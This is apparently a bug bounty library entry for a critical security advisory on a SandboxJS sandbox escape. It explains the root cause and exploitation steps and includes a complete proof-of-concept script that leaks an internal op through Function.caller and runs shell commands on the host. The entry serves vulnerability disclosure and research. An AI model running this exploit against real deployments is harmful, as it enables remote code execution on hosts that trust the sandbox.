# SandboxJS has a sandbox escape via Function.caller leakage of internal call op

SandboxJS sandboxed functions leaked Function.caller, exposing the internal LispType.Call op, which when invoked with forged params yields host Function constructor and RCE.

- Payout: Research
- Severity: critical
- Program: SandboxJS
- Found by: Macabely
- Disclosed: 2026-05-11
- CVE: CVE-2026-43898
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-g8f2-4f4f-5jqw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g8f2-4f4f-5jqw
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:rce vuln:sandbox-escape

**Target:** npm @nyariv/sandboxjs sandbox executor (prop.ts / call.ts ops)
**Root cause:** Sandboxed functions are ordinary host JS functions, so Function.caller exposes the internal LispType.Call callback; that op trusts attacker-supplied params (obj.context, obj.prop, obj.get, context.evals.get, a) without authenticating they came from the executor.
**Steps:**
1. Access `caller`/`callee`/`arguments` on a sandbox function: `const callOp = (function fn() { return fn.caller; })();` to leak the LispType.Call op.
2. Invoke callOp with forged params `{done, a, b, obj:{context, prop, get}, context:{ctx:{options:0}, evals:{get:capture}}}` to reach blocked host statics.
3. Use `leakStatic(Object,'defineProperty')` and `callDirect` to walk `getPrototypeOf` -> `constructor` and recover the real host Function constructor.
4. Call callOp with `obj.context` set to `return process.getBuiltinModule("child_process").execSync("whoami").toString()` to build a host function.
5. Invoke the returned hostFn() to execute arbitrary host JS.
**How found:** Noticed createFunction() builds ordinary host functions, so sandbox code can read f.caller; hypothesized the leaked caller is the privileged LispType.Call op and that its params object is unauthenticated, then forged operands to abuse it.
**Exploitation:** Sandboxed code leaks the internal Call op via Function.caller, then repeatedly invokes it with forged context/obj to extract host statics, recover the host Function constructor, and compile a function whose body runs child_process.execSync — full host RCE from inside the sandbox.
**Escalation:** Chained static leak (Object.defineProperty/getOwnPropertyDescriptor/getPrototypeOf) to reach Function constructor, then arbitrary code execution.
**Insight:** When a sandbox wraps host functions, Function.caller/callee/arguments leak internal callbacks; if any internal op trusts a caller-supplied params object, forging its fields (context/obj/get) turns a leak into a primitive for reaching host statics.

## Proof of concept (copied exactly from the original report)

**Sandbox escape PoC leaking Function.caller**

```
const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
  return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
  let leaked;
  callOp({
    done() {},
    a() {},
    b: [],
    obj: { context: obj, prop, get() {} },
    context: makeContext((fn) => (leaked = fn, () => 1))
  });
  return leaked;
}

function callDirect(fn, args) {
  let value;
  callOp({
    done(_, result) { value = result; },
    a() {},
    b: args,
    obj: fn,
    context: makeContext()
  });
  return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
  leakStatic,
  'call',
  callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
    callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
    'constructor'
  ])
]);

let hostFn;
callOp({
  done(_, result) { hostFn = result; },
  a: leakStatic,
  b: [],
  obj: {
    context: 'return process.getBuiltinModule("child_process").execSync("whoami").toString()',
    get() {}
  },
  context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());
```

